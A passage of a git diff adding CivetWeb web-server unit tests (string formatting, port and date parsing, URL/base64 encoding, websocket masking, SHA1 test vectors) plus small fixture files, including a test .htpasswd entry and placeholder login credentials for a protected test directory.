ck_assert(alloc_printf2(&p, "%s", "hello") == 5); + ck_assert(p != buf); + mg_free(p); + p = buf; +} +END_TEST + + +START_TEST(test_mg_vsnprintf) +{ + char buf[16]; + int is_trunc; + +#if defined(_WIN32) + /* If the string is truncated, mg_snprintf calls mg_cry. + * If DEBUG is defined, mg_cry calls DEBUG_TRACE. + * In DEBUG_TRACE_FUNC, flockfile(stdout) is called. + * For Windows, flockfile/funlockfile calls Enter-/ + * LeaveCriticalSection(&global_log_file_lock). + * So, we need to initialize global_log_file_lock: + */ + InitializeCriticalSection(&global_log_file_lock); +#endif + + memset(buf, 0, sizeof(buf)); + mark_point(); + + is_trunc = 777; + mg_snprintf(NULL, &is_trunc, buf, 10, "%8i", 123); + ck_assert_str_eq(buf, " 123"); + ck_assert_int_eq(is_trunc, 0); + + is_trunc = 777; + mg_snprintf(NULL, &is_trunc, buf, 10, "%9i", 123); + ck_assert_str_eq(buf, " 123"); + ck_assert_int_eq(is_trunc, 0); + + is_trunc = 777; + mg_snprintf(NULL, &is_trunc, buf, 9, "%9i", 123); + ck_assert_str_eq(buf, " 12"); + ck_assert_int_eq(is_trunc, 1); + + is_trunc = 777; + mg_snprintf(NULL, &is_trunc, buf, 8, "%9i", 123); + ck_assert_str_eq(buf, " 1"); + ck_assert_int_eq(is_trunc, 1); + + is_trunc = 777; + mg_snprintf(NULL, &is_trunc, buf, 7, "%9i", 123); + ck_assert_str_eq(buf, " "); + ck_assert_int_eq(is_trunc, 1); + + is_trunc = 777; + strcpy(buf, "1234567890"); + mg_snprintf(NULL, &is_trunc, buf, 0, "%i", 543); + ck_assert_str_eq(buf, "1234567890"); + ck_assert_int_eq(is_trunc, 1); +} +END_TEST + + +START_TEST(test_mg_strcasestr) +{ + /* Adapted from unit_test.c */ + /* Copyright (c) 2013-2015 the Civetweb developers */ + /* Copyright (c) 2004-2013 Sergey Lyubka */ + static const char *big1 = "abcdef"; + mark_point(); + + ck_assert(mg_strcasestr("Y", "X") == NULL); + ck_assert(mg_strcasestr("Y", "y") != NULL); + ck_assert(mg_strcasestr(big1, "X") == NULL); + ck_assert(mg_strcasestr(big1, "CD") == big1 + 2); + ck_assert(mg_strcasestr("aa", "AAB") == NULL); +} +END_TEST + + +START_TEST(test_parse_port_string) +{ + /* Adapted from unit_test.c */ + /* Copyright (c) 2013-2015 the Civetweb developers */ + /* Copyright (c) 2004-2013 Sergey Lyubka */ + static const char *valid[] = + { "0", + "1", + "1s", + "1r", + "1.2.3.4:1", + "1.2.3.4:1s", + "1.2.3.4:1r", +#if defined(USE_IPV6) + "[::1]:123", + "[::]:80", + "[3ffe:2a00:100:7031::1]:900", + "+80", +#endif + NULL }; + static const char *invalid[] = { + "99999", "1k", "1.2.3", "1.2.3.4:", "1.2.3.4:2p", NULL}; + struct socket so; + struct vec vec; + int ip_family; + int i; + + mark_point(); + + for (i = 0; valid[i] != NULL; i++) { + vec.ptr = valid[i]; + vec.len = strlen(vec.ptr); + ip_family = 123; + ck_assert_int_ne(parse_port_string(&vec, &so, &ip_family), 0); + if (i < 7) { + ck_assert_int_eq(ip_family, 4); + } else if (i < 10) { + ck_assert_int_eq(ip_family, 6); + } else { + ck_assert_int_eq(ip_family, 4 + 6); + } + } + + for (i = 0; invalid[i] != NULL; i++) { + vec.ptr = invalid[i]; + vec.len = strlen(vec.ptr); + ip_family = 123; + ck_assert_int_eq(parse_port_string(&vec, &so, &ip_family), 0); + ck_assert_int_eq(ip_family, 0); + } +} +END_TEST + + +START_TEST(test_encode_decode) +{ + char buf[128]; + const char *alpha = "abcdefghijklmnopqrstuvwxyz"; + const char *nonalpha = " !\"#$%&'()*+,-./0123456789:;<=>?@"; + const char *nonalpha_url_enc1 = + "%20%21%22%23$%25%26%27()%2a%2b,-.%2f0123456789%3a;%3c%3d%3e%3f%40"; + const char *nonalpha_url_enc2 = + "%20!%22%23%24%25%26'()*%2B%2C-.%2F0123456789%3A%3B%3C%3D%3E%3F%40"; + int ret; + size_t len; + +#if defined(USE_WEBSOCKET) || defined(USE_LUA) + const char *alpha_b64_enc = "YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXo="; + const char *nonalpha_b64_enc = + "ICEiIyQlJicoKSorLC0uLzAxMjM0NTY3ODk6Ozw9Pj9A"; + + mark_point(); + + memset(buf, 77, sizeof(buf)); + base64_encode((unsigned char *)"a", 1, buf); + ck_assert_str_eq(buf, "YQ=="); + + memset(buf, 77, sizeof(buf)); + base64_encode((unsigned char *)"ab", 1, buf); + ck_assert_str_eq(buf, "YQ=="); + + memset(buf, 77, sizeof(buf)); + base64_encode((unsigned char *)"ab", 2, buf); + ck_assert_str_eq(buf, "YWI="); + + memset(buf, 77, sizeof(buf)); + base64_encode((unsigned char *)alpha, 3, buf); + ck_assert_str_eq(buf, "YWJj"); + + memset(buf, 77, sizeof(buf)); + base64_encode((unsigned char *)alpha, 4, buf); + ck_assert_str_eq(buf, "YWJjZA=="); + + memset(buf, 77, sizeof(buf)); + base64_encode((unsigned char *)alpha, 5, buf); + ck_assert_str_eq(buf, "YWJjZGU="); + + memset(buf, 77, sizeof(buf)); + base64_encode((unsigned char *)alpha, 6, buf); + ck_assert_str_eq(buf, "YWJjZGVm"); + + memset(buf, 77, sizeof(buf)); + base64_encode((unsigned char *)alpha, (int)strlen(alpha), buf); + ck_assert_str_eq(buf, alpha_b64_enc); + + memset(buf, 77, sizeof(buf)); + base64_encode((unsigned char *)nonalpha, (int)strlen(nonalpha), buf); + ck_assert_str_eq(buf, nonalpha_b64_enc); +#endif + +#if defined(USE_LUA) + memset(buf, 77, sizeof(buf)); + len = 9999; + ret = base64_decode((unsigned char *)alpha_b64_enc, + (int)strlen(alpha_b64_enc), + buf, + &len); + ck_assert_int_eq(ret, -1); + ck_assert_uint_eq((unsigned int)len, (unsigned int)strlen(alpha)); + ck_assert_str_eq(buf, alpha); + + memset(buf, 77, sizeof(buf)); + len = 9999; + ret = base64_decode((unsigned char *)"AAA*AAA", 7, buf, &len); + ck_assert_int_eq(ret, 3); +#endif + + memset(buf, 77, sizeof(buf)); + ret = mg_url_encode(alpha, buf, sizeof(buf)); + ck_assert_int_eq(ret, (int)strlen(buf)); + ck_assert_int_eq(ret, (int)strlen(alpha)); + ck_assert_str_eq(buf, alpha); + + memset(buf, 77, sizeof(buf)); + ret = mg_url_encode(nonalpha, buf, sizeof(buf)); + ck_assert_int_eq(ret, (int)strlen(buf)); + ck_assert_int_eq(ret, (int)strlen(nonalpha_url_enc1)); + ck_assert_str_eq(buf, nonalpha_url_enc1); + + memset(buf, 77, sizeof(buf)); + ret = mg_url_decode(alpha, (int)strlen(alpha), buf, sizeof(buf), 0); + ck_assert_int_eq(ret, (int)strlen(buf)); + ck_assert_int_eq(ret, (int)strlen(alpha)); + ck_assert_str_eq(buf, alpha); + + memset(buf, 77, sizeof(buf)); + ret = mg_url_decode( + nonalpha_url_enc1, (int)strlen(nonalpha_url_enc1), buf, sizeof(buf), 0); + ck_assert_int_eq(ret, (int)strlen(buf)); + ck_assert_int_eq(ret, (int)strlen(nonalpha)); + ck_assert_str_eq(buf, nonalpha); + + memset(buf, 77, sizeof(buf)); + ret = mg_url_decode( + nonalpha_url_enc2, (int)strlen(nonalpha_url_enc2), buf, sizeof(buf), 0); + ck_assert_int_eq(ret, (int)strlen(buf)); + ck_assert_int_eq(ret, (int)strlen(nonalpha)); + ck_assert_str_eq(buf, nonalpha); + + /* len could be unused, if base64_decode is not tested because USE_LUA is + * not defined */ + (void)len; +} +END_TEST + + +START_TEST(test_mask_data) +{ +#if defined(USE_WEBSOCKET) + char in[1024]; + char out[1024]; + int i; +#endif + + uint32_t mask = 0x61626364; + /* TODO: adapt test for big endian */ + ck_assert((*(unsigned char *)&mask) == 0x64u); + +#if defined(USE_WEBSOCKET) + memset(in, 0, sizeof(in)); + memset(out, 99, sizeof(out)); + + mask_data(in, sizeof(out), 0, out); + ck_assert(!memcmp(out, in, sizeof(out))); + + for (i = 0; i < 1024; i++) { + in[i] = (char)((unsigned char)i); + } + mask_data(in, 107, 0, out); + ck_assert(!memcmp(out, in, 107)); + + mask_data(in, 256, 0x01010101, out); + for (i = 0; i < 256; i++) { + ck_assert_int_eq((int)((unsigned char)out[i]), + (int)(((unsigned char)in[i]) ^ (char)1u)); + } + for (i = 256; i < (int)sizeof(out); i++) { + ck_assert_int_eq((int)((unsigned char)out[i]), (int)0); + } + + /* TODO: check this for big endian */ + mask_data(in, 5, 0x01020304, out); + ck_assert_uint_eq((unsigned char)out[0], 0u ^ 4u); + ck_assert_uint_eq((unsigned char)out[1], 1u ^ 3u); + ck_assert_uint_eq((unsigned char)out[2], 2u ^ 2u); + ck_assert_uint_eq((unsigned char)out[3], 3u ^ 1u); + ck_assert_uint_eq((unsigned char)out[4], 4u ^ 4u); +#endif +} +END_TEST + + +START_TEST(test_parse_date_string) +{ +#if !defined(NO_CACHING) + time_t now = time(0); + struct tm *tm = gmtime(&now); + char date[64] = {0}; + unsigned long i; + + ck_assert_uint_eq((unsigned long)parse_date_string("1/Jan/1970 00:01:02"), + 62ul); + ck_assert_uint_eq((unsigned long)parse_date_string("1 Jan 1970 00:02:03"), + 123ul); + ck_assert_uint_eq((unsigned long)parse_date_string("1-Jan-1970 00:03:04"), + 184ul); + ck_assert_uint_eq((unsigned long)parse_date_string( + "Xyz, 1 Jan 1970 00:04:05"), + 245ul); + + gmt_time_string(date, sizeof(date), &now); + ck_assert_uint_eq((uintmax_t)parse_date_string(date), (uintmax_t)now); + + sprintf(date, + "%02u %s %04u %02u:%02u:%02u", + tm->tm_mday, + month_names[tm->tm_mon], + tm->tm_year + 1900, + tm->tm_hour, + tm->tm_min, + tm->tm_sec); + ck_assert_uint_eq((uintmax_t)parse_date_string(date), (uintmax_t)now); + + gmt_time_string(date, 1, NULL); + ck_assert_str_eq(date, ""); + gmt_time_string(date, 6, NULL); + ck_assert_str_eq(date, + "Thu, "); /* part of "Thu, 01 Jan 1970 00:00:00 GMT" */ + gmt_time_string(date, sizeof(date), NULL); + ck_assert_str_eq(date, "Thu, 01 Jan 1970 00:00:00 GMT"); + + for (i = 2ul; i < 0x8000000ul; i += i / 2) { + now = (time_t)i; + + gmt_time_string(date, sizeof(date), &now); + ck_assert_uint_eq((uintmax_t)parse_date_string(date), (uintmax_t)now); + + tm = gmtime(&now); + sprintf(date, + "%02u-%s-%04u %02u:%02u:%02u", + tm->tm_mday, + month_names[tm->tm_mon], + tm->tm_year + 1900, + tm->tm_hour, + tm->tm_min, + tm->tm_sec); + ck_assert_uint_eq((uintmax_t)parse_date_string(date), (uintmax_t)now); + } +#endif +} +END_TEST + + +START_TEST(test_sha1) +{ +#ifdef SHA1_DIGEST_SIZE + SHA_CTX sha_ctx; + uint8_t digest[SHA1_DIGEST_SIZE] = {0}; + char str[48] = {0}; + int i; + const char *test_str; + + ck_assert_uint_eq(sizeof(digest), 20); + ck_assert_uint_gt(sizeof(str), sizeof(digest) * 2 + 1); + + /* empty string */ + SHA1_Init(&sha_ctx); + SHA1_Final(digest, &sha_ctx); + bin2str(str, digest, sizeof(digest)); + ck_assert_uint_eq(strlen(str), 40); + ck_assert_str_eq(str, "da39a3ee5e6b4b0d3255bfef95601890afd80709"); + + /* empty string */ + SHA1_Init(&sha_ctx); + SHA1_Update(&sha_ctx, (uint8_t *)"abc", 0); + SHA1_Final(digest, &sha_ctx); + bin2str(str, digest, sizeof(digest)); + ck_assert_uint_eq(strlen(str), 40); + ck_assert_str_eq(str, "da39a3ee5e6b4b0d3255bfef95601890afd80709"); + + /* "abc" */ + SHA1_Init(&sha_ctx); + SHA1_Update(&sha_ctx, (uint8_t *)"abc", 3); + SHA1_Final(digest, &sha_ctx); + bin2str(str, digest, sizeof(digest)); + ck_assert_uint_eq(strlen(str), 40); + ck_assert_str_eq(str, "a9993e364706816aba3e25717850c26c9cd0d89d"); + + /* "abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq" */ + test_str = "abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq"; + SHA1_Init(&sha_ctx); + SHA1_Update(&sha_ctx, (uint8_t *)test_str, (uint32_t)strlen(test_str)); + SHA1_Final(digest, &sha_ctx); + bin2str(str, digest, sizeof(digest)); + ck_assert_uint_eq(strlen(str), 40); + ck_assert_str_eq(str, "84983e441c3bd26ebaae4aa1f95129e5e54670f1"); + + /* a million "a" */ + SHA1_Init(&sha_ctx); + for (i = 0; i < 1000000; i++) { + SHA1_Update(&sha_ctx, (uint8_t *)"a", 1); + } + SHA1_Final(digest, &sha_ctx); + bin2str(str, digest, sizeof(digest)); + ck_assert_uint_eq(strlen(str), 40); + ck_assert_str_eq(str, "34aa973cd4c4daa4f61eeb2bdbad27316534016f"); + + /* a million "a" in blocks of 10 */ + SHA1_Init(&sha_ctx); + for (i = 0; i < 100000; i++) { + SHA1_Update(&sha_ctx, (uint8_t *)"aaaaaaaaaa", 10); + } + SHA1_Final(digest, &sha_ctx); + bin2str(str, digest, sizeof(digest)); + ck_assert_uint_eq(strlen(str), 40); + ck_assert_str_eq(str, "34aa973cd4c4daa4f61eeb2bdbad27316534016f"); +#else + /* Can not test, if SHA1 is not included */ + ck_assert(1); +#endif +} +END_TEST + + +#if !defined(REPLACE_CHECK_FOR_LOCAL_DEBUGGING) +Suite * +make_private_suite(void) +{ + Suite *const suite = suite_create("Private"); + + TCase *const tcase_http_message = tcase_create("HTTP Message"); + TCase *const tcase_http_keep_alive = tcase_create("HTTP Keep Alive"); + TCase *const tcase_url_parsing_1 = tcase_create("URL Parsing 1"); + TCase *const tcase_url_parsing_2 = tcase_create("URL Parsing 2"); + TCase *const tcase_url_parsing_3 = tcase_create("URL Parsing 3"); + TCase *const tcase_internal_parse_1 = tcase_create("Internal Parsing 1"); + TCase *const tcase_internal_parse_2 = tcase_create("Internal Parsing 2"); + TCase *const tcase_internal_parse_3 = tcase_create("Internal Parsing 3"); + TCase *const tcase_internal_parse_4 = tcase_create("Internal Parsing 4"); + TCase *const tcase_internal_parse_5 = tcase_create("Internal Parsing 5"); + TCase *const tcase_internal_parse_6 = tcase_create("Internal Parsing 6"); + TCase *const tcase_encode_decode = tcase_create("Encode Decode"); + TCase *const tcase_mask_data = tcase_create("Mask Data"); + TCase *const tcase_parse_date_string = tcase_create("Date Parsing"); + TCase *const tcase_sha1 = tcase_create("SHA1"); + + tcase_add_test(tcase_http_message, test_parse_http_message); + tcase_set_timeout(tcase_http_message, civetweb_min_test_timeout); + suite_add_tcase(suite, tcase_http_message); + + tcase_add_test(tcase_http_keep_alive, test_should_keep_alive); + tcase_set_timeout(tcase_http_keep_alive, civetweb_min_test_timeout); + suite_add_tcase(suite, tcase_http_keep_alive); + + tcase_add_test(tcase_url_parsing_1, test_match_prefix); + tcase_set_timeout(tcase_url_parsing_1, civetweb_min_test_timeout); + suite_add_tcase(suite, tcase_url_parsing_1); + + tcase_add_test(tcase_url_parsing_2, + test_remove_double_dots_and_double_slashes); + tcase_set_timeout(tcase_url_parsing_2, civetweb_min_test_timeout); + suite_add_tcase(suite, tcase_url_parsing_2); + + tcase_add_test(tcase_url_parsing_3, test_is_valid_uri); + tcase_set_timeout(tcase_url_parsing_3, civetweb_min_test_timeout); + suite_add_tcase(suite, tcase_url_parsing_3); + + tcase_add_test(tcase_internal_parse_1, test_next_option); + tcase_set_timeout(tcase_internal_parse_1, civetweb_min_test_timeout); + suite_add_tcase(suite, tcase_internal_parse_1); + + tcase_add_test(tcase_internal_parse_2, test_skip_quoted); + tcase_set_timeout(tcase_internal_parse_2, civetweb_min_test_timeout); + suite_add_tcase(suite, tcase_internal_parse_2); + + tcase_add_test(tcase_internal_parse_3, test_mg_strcasestr); + tcase_set_timeout(tcase_internal_parse_3, civetweb_min_test_timeout); + suite_add_tcase(suite, tcase_internal_parse_3); + + tcase_add_test(tcase_internal_parse_4, test_alloc_vprintf); + tcase_set_timeout(tcase_internal_parse_4, civetweb_min_test_timeout); + suite_add_tcase(suite, tcase_internal_parse_4); + + tcase_add_test(tcase_internal_parse_5, test_mg_vsnprintf); + tcase_set_timeout(tcase_internal_parse_5, civetweb_min_test_timeout); + suite_add_tcase(suite, tcase_internal_parse_5); + + tcase_add_test(tcase_internal_parse_6, test_parse_port_string); + tcase_set_timeout(tcase_internal_parse_6, civetweb_min_test_timeout); + suite_add_tcase(suite, tcase_internal_parse_6); + + tcase_add_test(tcase_encode_decode, test_encode_decode); + tcase_set_timeout(tcase_encode_decode, civetweb_min_test_timeout); + suite_add_tcase(suite, tcase_encode_decode); + + tcase_add_test(tcase_mask_data, test_mask_data); + tcase_set_timeout(tcase_mask_data, civetweb_min_test_timeout); + suite_add_tcase(suite, tcase_mask_data); + + tcase_add_test(tcase_parse_date_string, test_parse_date_string); + tcase_set_timeout(tcase_parse_date_string, civetweb_min_test_timeout); + suite_add_tcase(suite, tcase_parse_date_string); + + tcase_add_test(tcase_sha1, test_sha1); + tcase_set_timeout(tcase_sha1, civetweb_min_test_timeout); + suite_add_tcase(suite, tcase_sha1); + + return suite; +} +#endif + + +#ifdef REPLACE_CHECK_FOR_LOCAL_DEBUGGING +/* Used to debug test cases without using the check framework */ + +void +MAIN_PRIVATE(void) +{ +#if defined(_WIN32) + /* test_parse_port_string requires WSAStartup for IPv6 */ + WSADATA data; + WSAStartup(MAKEWORD(2, 2), &data); +#endif + + test_alloc_vprintf(0); + test_mg_vsnprintf(0); + test_remove_double_dots_and_double_slashes(0); + test_parse_date_string(0); + test_parse_port_string(0); + test_parse_http_message(0); + test_sha1(0); + +#if defined(_WIN32) + WSACleanup(); +#endif +} + +#endif diff --git a/src/civetweb/test/private.h b/src/civetweb/test/private.h new file mode 100644 index 000000000..670b66595 --- /dev/null +++ b/src/civetweb/test/private.h @@ -0,0 +1,28 @@ +/* Copyright (c) 2015-2017 the Civetweb developers + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +#ifndef TEST_PRIVATE_H_ +#define TEST_PRIVATE_H_ + +#include "civetweb_check.h" + +Suite *make_private_suite(void); + +#endif /* TEST_PRIVATE_H_ */ diff --git a/src/civetweb/test/private_exe.c b/src/civetweb/test/private_exe.c new file mode 100644 index 000000000..9131efff7 --- /dev/null +++ b/src/civetweb/test/private_exe.c @@ -0,0 +1,82 @@ +/* Copyright (c) 2015-2017 the Civetweb developers + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +/** + * We include the source file so that we have access to the internal private + * static functions. + */ +#ifdef _MSC_VER +#ifndef _CRT_SECURE_NO_WARNINGS +#define _CRT_SECURE_NO_WARNINGS +#endif +#endif + +#include "private_exe.h" + +/* This is required for "realpath". According to + * http://man7.org/linux/man-pages/man3/realpath.3.html + * defining _XOPEN_SOURCE 600 should be enough, but in + * practice this does not work. */ +extern char *realpath(const char *path, char *resolved_path); + +/* main is already used in the test suite, + * so this define will rename main in main.c */ +#define main exe_main + +#include "../src/main.c" + +#include <stdlib.h> + +/* This unit test file uses the excellent Check unit testing library. + * The API documentation is available here: + * http://check.sourceforge.net/doc/check_html/index.html + */ + +START_TEST(test_helper_funcs) +{ + const char *psrc = "test str"; + char *pdst; + + /* test sdup */ + pdst = sdup(psrc); + ck_assert(pdst != NULL); + ck_assert_str_eq(pdst, psrc); + ck_assert_ptr_ne(pdst, psrc); + free(pdst); +} +END_TEST + + +#if !defined(REPLACE_CHECK_FOR_LOCAL_DEBUGGING) +Suite * +make_private_exe_suite(void) +{ + Suite *const suite = suite_create("EXE"); + + TCase *const tcase_helper_funcs = tcase_create("Helper funcs"); + + tcase_add_test(tcase_helper_funcs, test_helper_funcs); + tcase_set_timeout(tcase_helper_funcs, civetweb_min_test_timeout); + suite_add_tcase(suite, tcase_helper_funcs); + + return suite; +} +#endif diff --git a/src/civetweb/test/private_exe.h b/src/civetweb/test/private_exe.h new file mode 100644 index 000000000..5e8e9bf62 --- /dev/null +++ b/src/civetweb/test/private_exe.h @@ -0,0 +1,31 @@ +/* Copyright (c) 2015-2017 the Civetweb developers + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +#ifndef TEST_PRIVATE_EXE_H_ +#define TEST_PRIVATE_EXE_H_ + +#include "civetweb_check.h" + +Suite *make_private_exe_suite(void); + +/* This is a redefine for "main" in main.c */ +int exe_main(int argc, char *argv[]); + +#endif /* TEST_PRIVATE_H_ */ diff --git a/src/civetweb/test/protected/.htpasswd b/src/civetweb/test/protected/.htpasswd new file mode 100644 index 000000000..5686ad3d8 --- /dev/null +++ b/src/civetweb/test/protected/.htpasswd @@ -0,0 +1 @@ +user:mydomain.com:1aeed57ec85c6126e335a54789c2ecfa diff --git a/src/civetweb/test/protected/content.txt b/src/civetweb/test/protected/content.txt new file mode 100644 index 000000000..0bcd51a0e --- /dev/null +++ b/src/civetweb/test/protected/content.txt @@ -0,0 +1,5 @@ +Protected directory. + +username: user +password: pass + diff --git a/src/civetweb/test/public_func.c b/src/civetweb/test/public_func.c new file mode 100644 index 000000000..deb3dd5a5 --- /dev/null +++ b/src/civetweb/test/public_func.c @@ -0,0 +1,546 @@ +/* Copyright (c) 2015-2017 the Civetweb developers
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+ * THE SOFTWARE.
+ */
+
+#ifdef _MSC_VER
+#ifndef _CRT_SECURE_NO_WARNINGS
+#define _CRT_SECURE_NO_WARNINGS
+#endif
+#endif
+
+#include <stdlib.h>
+#include <stdio.h>
+
+#include "public_func.h"
+#include <civetweb.h>
+
+/* This unit test file uses the excellent Check unit testing library.
+ * The API documentation is available here:
+ * http://check.sourceforge.net/doc/check_html/index.html
+ */
+
+START_TEST(test_mg_version)
+{
+ const char *ver = mg_version();
+ unsigned major = 0, minor = 0;
+ unsigned feature_files, feature_https, feature_cgi, feature_ipv6,
+ feature_websocket, feature_lua, feature_duktape, feature_caching;
+ unsigned expect_files = 0, expect_https = 0, expect_cgi = 0,
+ expect_ipv6 = 0, expect_websocket = 0, expect_lua = 0,
+ expect_duktape = 0, expect_caching = 0;
+ int ret, len;
+ char *buf;
+
+ ck_assert(ver != NULL);
+ ck_assert_str_eq(ver, CIVETWEB_VERSION);
+
+ /* check structure of version string */
+ ret = sscanf(ver, "%u.%u", &major, &minor);
+ ck_assert_int_eq(ret, 2);
+ ck_assert_uint_ge(major, 1);
+ if (major == 1) {
+ ck_assert_uint_ge(minor, 8); /* current version is 1.8 */
+ }
+
+ /* check feature */
+ feature_files = mg_check_feature(1);
+ feature_https = mg_check_feature(2);
+ feature_cgi = mg_check_feature(4);
+ feature_ipv6 = mg_check_feature(8);
+ feature_websocket = mg_check_feature(16);
+ feature_lua = mg_check_feature(32);
+ feature_duktape = mg_check_feature(64);
+ feature_caching = mg_check_feature(128);
+
+#if !defined(NO_FILES)
+ expect_files = 1;
+#endif
+#if !defined(NO_SSL)
+ expect_https = 1;
+#endif
+#if !defined(NO_CGI)
+ expect_cgi = 1;
+#endif
+#if defined(USE_IPV6)
+ expect_ipv6 = 1;
+#endif
+#if defined(USE_WEBSOCKET)
+ expect_websocket = 1;
+#endif
+#if defined(USE_LUA)
+ expect_lua = 1;
+#endif
+#if defined(USE_DUKTAPE)
+ expect_duktape = 1;
+#endif
+#if !defined(NO_CACHING)
+ expect_caching = 1;
+#endif
+
+ ck_assert_uint_eq(expect_files, !!feature_files);
+ ck_assert_uint_eq(expect_https, !!feature_https);
+ ck_assert_uint_eq(expect_cgi, !!feature_cgi);
+ ck_assert_uint_eq(expect_ipv6, !!feature_ipv6);
+ ck_assert_uint_eq(expect_websocket, !!feature_websocket);
+ ck_assert_uint_eq(expect_lua, !!feature_lua);
+ ck_assert_uint_eq(expect_duktape, !!feature_duktape);
+ ck_assert_uint_eq(expect_caching, !!feature_caching);
+
+ /* get system information */
+ len = mg_get_system_info(NULL, 0);
+ ck_assert_int_gt(len, 0);
+ buf = (char *)malloc((unsigned)len + 1);
+ ck_assert_ptr_ne(buf, NULL);
+ ret = mg_get_system_info(buf, len + 1);
+ ck_assert_int_eq(len, ret);
+ ret = (int)strlen(buf);
+ ck_assert_int_eq(len, ret);
+ free(buf);
+}
+END_TEST
+
+
+START_TEST(test_mg_get_valid_options)
+{
+ int i;
+ const struct mg_option *default_options = mg_get_valid_options();
+
+ ck_assert(default_options != NULL);
+
+ for (i = 0; default_options[i].name != NULL; i++) {
+ ck_assert(default_options[i].name != NULL);
+ ck_assert(strlen(default_options[i].name) > 0);
+ ck_assert(((int)default_options[i].type) > 0);
+ }
+
+ ck_assert(i > 0);
+}
+END_TEST
+
+
+START_TEST(test_mg_get_builtin_mime_type)
+{
+ ck_assert_str_eq(mg_get_builtin_mime_type("x.txt"), "text/plain");
+ ck_assert_str_eq(mg_get_builtin_mime_type("x.html"), "text/html");
+ ck_assert_str_eq(mg_get_builtin_mime_type("x.HTML"), "text/html");
+ ck_assert_str_eq(mg_get_builtin_mime_type("x.hTmL"), "text/html");
+ ck_assert_str_eq(mg_get_builtin_mime_type("/abc/def/ghi.htm"), "text/html");
+ ck_assert_str_eq(mg_get_builtin_mime_type("x.unknown_extention_xyz"),
+ "text/plain");
+}
+END_TEST
+
+
+START_TEST(test_mg_strncasecmp)
+{
+ ck_assert(mg_strncasecmp("abc", "abc", 3) == 0);
+ ck_assert(mg_strncasecmp("abc", "abcd", 3) == 0);
+ ck_assert(mg_strncasecmp("abc", "abcd", 4) != 0);
+ ck_assert(mg_strncasecmp("a", "A", 1) == 0);
+
+ ck_assert(mg_strncasecmp("A", "B", 1) < 0);
+ ck_assert(mg_strncasecmp("A", "b", 1) < 0);
+ ck_assert(mg_strncasecmp("a", "B", 1) < 0);
+ ck_assert(mg_strncasecmp("a", "b", 1) < 0);
+ ck_assert(mg_strncasecmp("b", "A", 1) > 0);
+ ck_assert(mg_strncasecmp("B", "A", 1) > 0);
+ ck_assert(mg_strncasecmp("b", "a", 1) > 0);
